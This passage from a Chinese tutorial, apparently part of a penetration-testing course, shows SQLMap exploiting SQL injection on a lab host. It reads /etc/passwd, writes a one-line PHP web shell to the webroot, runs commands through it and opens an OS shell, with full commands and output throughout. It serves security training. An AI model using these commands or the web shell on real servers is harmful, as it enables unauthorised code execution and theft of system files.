7、操作系统利用(OS Exploitation)
SQLMap 能够利用 SQL 注入从 DBMS 之外的本地系统读取和写入文件。如果我们有适当的权限,SQLMap 还可以尝试让我们在远程主机上直接执行命令。
文件 Read/Write
通过 SQL 注入漏洞利用操作系统的第一部分是在托管服务器上读取和写入数据。读取数据比写入数据更常见,这在现代 DBMS 中是严格的特权,因为它会导致系统利用,正如我们将看到的那样。例如,在 MySql 中,要读取本地文件,DB 用户必须具有 LOAD DATA
和 INSERT
权限,才能将文件内容加载到表中,然后读取该表。
这种命令的一个例子是:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;
虽然我们不一定需要具有数据库管理员权限 (DBA) 才能读取数据,但这在现代 DBMS 中变得越来越普遍。这同样适用于其他常见的数据库。尽管如此,如果我们确实拥有 DBA 权限,那么我们更有可能拥有文件读取权限。
检查 DBA 权限
要检查我们是否拥有 SQLMap 的 DBA 权限,我们可以使用 --is-dba
选项:
$ sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:31:55 /2020-11-19/
[17:31:55] [INFO] resuming back-end DBMS 'mysql'
[17:31:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: False
[*] ending @ 17:31:56 /2020-11-19
正如我们所见,如果我们在前面的练习中测试它,我们会得到当前用户是 DBA: False,这意味着我们没有 DBA 访问权限。如果我们尝试使用 SQLMap 读取文件,我们会得到如下内容:
[17:31:43] [INFO] fetching file: '/etc/passwd'
[17:31:43] [ERROR] no data retrieved
为了测试操作系统的利用,让我们尝试一个我们确实拥有 DBA 权限的练习,如本节末尾的问题所示:
$ sqlmap -u "http://www.example.com/?id=1" --is-dba
___
__H__
___ ___["]_____ ___ ___ {1.4.11#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:37:47 /2020-11-19/
[17:37:47] [INFO] resuming back-end DBMS 'mysql'
[17:37:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
current user is DBA: True
[*] ending @ 17:37:48 /2020-11-19/
我们看到这次我们得到了current user is DBA: True
,也就是说我们可能有读取本地文件的权限。
读取本地文件
SQLMap 不是通过 SQLi 手动注入上述行,而是使用 --file-read
选项使读取本地文件相对容易:
$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:40:00 /2020-11-19/
[17:40:00] [INFO] resuming back-end DBMS 'mysql'
[17:40:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[17:40:01] [INFO] fetching file: '/etc/passwd'
[17:40:01] [WARNING] time-based comparison requires larger statistical model, please wait............................. (done)
[17:40:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:40:07] [WARNING] unable to retrieve the content of the file '/etc/passwd', going to fall-back to simpler UNION technique
[17:40:07] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] y
[17:40:14] [INFO] the local file '~/.sqlmap/output/www.example.com/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (982 B)
files saved to [1]:
[*] ~/.sqlmap/output/www.example.com/files/_etc_passwd (same file)
[*] ending @ 17:40:14 /2020-11-19/
正如我们所见,SQLMap表示将文件保存到本地文件中。我们可以 cat
本地文件看看它的内容:
$ cat ~/.sqlmap/output/www.example.com/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...
我们已成功检索到远程文件。
篡改本地文件
当涉及到将文件写入托管服务器时,它在现代 DMBS 中变得更加受限,因为我们可以利用它在远程服务器上编写 Web Shell,从而执行代码并接管服务器。
这就是为什么现代 DBMS 默认禁用文件写入并且需要特定权限才能让 DBA 能够写入文件。例如,在 MySql 中,必须手动禁用 --secure-file-priv
配置以允许使用 INTO OUTFILE SQL
查询将数据写入本地文件,此外还有主机服务器上所需的任何本地访问权限,如写入权限在我们需要的目录中。
尽管如此,许多 web 应用程序需要 DBMS 将数据写入文件的能力,因此值得测试我们是否可以将文件写入远程服务器。要使用 SQLMap 做到这一点,我们可以使用 --file-write
和 --file-dest
选项。首先,让我们准备一个基本的 PHP web shell 并将其写入 shell.php
文件:
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
现在,让我们尝试将此文件写入远程服务器上的 /var/www/html/
目录中,这是 Apache 的默认服务器 webroot。如果我们不知道服务器 webroot,我们将看到 SQLMap 如何自动找到它。
$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
___
__H__
___ ___[']_____ ___ ___ {1.4.11#stable}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 17:54:18 /2020-11-19/
[17:54:19] [INFO] resuming back-end DBMS 'mysql'
[17:54:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
do you want confirmation that the local file 'shell.php' has been successfully written on the back-end DBMS file system ('/var/www/html/shell.php')? [Y/n] y
[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31 B)
[*] ending @ 17:54:28 /2020-11-19/
我们看到 SQLMap 确认文件确实被写入了:
[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31 B)
现在,我们可以尝试访问远程 PHP shell,并执行示例命令:
$ curl http://www.example.com/shell.php?cmd=ls+-la
total 148
drwxrwxrwt 1 www-data www-data 4096 Nov 19 17:54 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...
我们看到我们的 PHP shell 确实是在远程服务器上编写的,并且我们确实在主机服务器上执行了命令。
系统命令执行
现在我们确认我们可以编写一个 PHP shell 来执行命令,我们可以测试 SQLMap 为我们提供一个简单的 OS shell 而无需手动编写远程 shell 的能力。 SQLMap利用各种技术通过SQL注入漏洞获取远程shell,就像我们刚才写的远程shell,编写执行命令并检索输出的SQL函数,甚至使用一些直接执行操作系统命令的SQL查询,比如微软的 xp_cmdshell
SQL服务器。要使用 SQLMap 获取 OS shell,我们可以使用 --os-shell
选项,如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --os-shell
___
__H__
___ ___[.]_____ ___ ___ {1.4.11#stable}
|_ -| . [)] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 18:02:15 /2020-11-19/
[18:02:16] [INFO] resuming back-end DBMS 'mysql'
[18:02:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
[18:02:37] [INFO] the local file '/tmp/sqlmapmswx18kp12261/lib_mysqludf_sys8kj7u1jp.so' and the remote file './libslpjs.so' have the same size (8040 B)
[18:02:37] [INFO] creating UDF 'sys_exec' from the binary UDF file
[18:02:38] [INFO] creating UDF 'sys_eval' from the binary UDF file
[18:02:39] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[18:02:39] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a
[18:02:45] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
No output
我们看到 SQLMap 默认使用 UNION
技术来获取 OS shell,但最终未能给我们任何输出 No output
。因此,我们已经知道我们有多种类型的 SQL 注入漏洞,让我们尝试指定另一种更有可能为我们提供直接输出的技术,例如基于错误的 SQL 注入,我们可以使用 --technique=E
指定:
darkinga@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --os-shell --technique=E
___
__H__
___ ___[,]_____ ___ ___ {1.4.11#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 18:05:59 /2020-11-19/
[18:05:59] [INFO] resuming back-end DBMS 'mysql'
[18:05:59] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
...SNIP...
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[18:06:07] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[18:06:09] [WARNING] unable to automatically parse any web server path
[18:06:09] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[18:06:09] [WARNING] potential permission problems detected ('Permission denied')
[18:06:10] [WARNING] unable to upload the file stager on '/var/www/'
[18:06:10] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[18:06:11] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpumgzr.php
[18:06:11] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://www.example.com/tmpbznbe.php
[18:06:11] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ls -la
do you want to retrieve the command standard output? [Y/n/a] a
command standard output:
---
total 156
drwxrwxrwt 1 www-data www-data 4096 Nov 19 18:06 .
drwxr-xr-x 1 www-data www-data 4096 Nov 19 08:15 ..
-rw-rw-rw- 1 mysql mysql 188 Nov 19 07:39 basic.php
...SNIP...
正如我们所见,这次 SQLMap 成功地将我们放入了一个简单的交互式远程 shell,让我们可以通过这个 SQLi 轻松地执行远程代码。
注意:SQLMap 首先询问我们在这个远程服务器上使用的语言类型,我们知道是 PHP。然后它要求我们提供服务器 web 根目录,我们要求 SQLMap 使用“common location(s)”自动找到它。这两个选项都是默认选项,如果我们将“--batch”选项添加到 SQLMap,它们将被自动选择。
至此,我们已经涵盖了 SQLMap 的所有主要功能。